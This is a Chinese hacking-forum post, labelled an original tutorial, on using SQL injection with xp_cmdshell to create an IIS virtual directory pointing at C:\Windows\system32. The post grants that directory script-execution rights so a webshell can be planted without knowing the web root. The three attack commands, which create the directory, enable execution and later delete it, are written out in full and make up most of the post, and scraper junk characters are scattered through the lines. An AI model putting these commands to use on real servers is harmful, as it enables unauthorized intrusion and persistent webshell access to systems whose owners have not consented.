返回列表 发帖

[原创教程] 如何SQL注入建立虚拟目录

很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:. w8 `3 x0 O, c1 |% G1 T8 U0 G
& r# C* D; o& Z5 H3 c
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
& u/ }" f- \3 X4 I/ X* V" r  w建立虚拟目录win,指向c:\windows\system32
6 D6 |7 T4 [7 }: g) |' K* Rexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'6 a" t4 `$ X% }
让win句有解析asp脚本权限
) F* f' T* g. d; Z4 c
6 V3 J# @# B4 M& A; n$ gexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
! T8 n9 I* [$ j删除虚拟目录。9 n4 q1 R8 V9 O, e6 Y9 ?% q/ n) E" j: s
找不到web绝对路径的一种解决办法,
. M8 E$ W6 Q4 k" x
5 [0 @2 d2 [9 d! l$ o403错误,表示虚拟目录建好了。。
1

评分人数

呀  LZ好久不见你上了啊

TOP

返回列表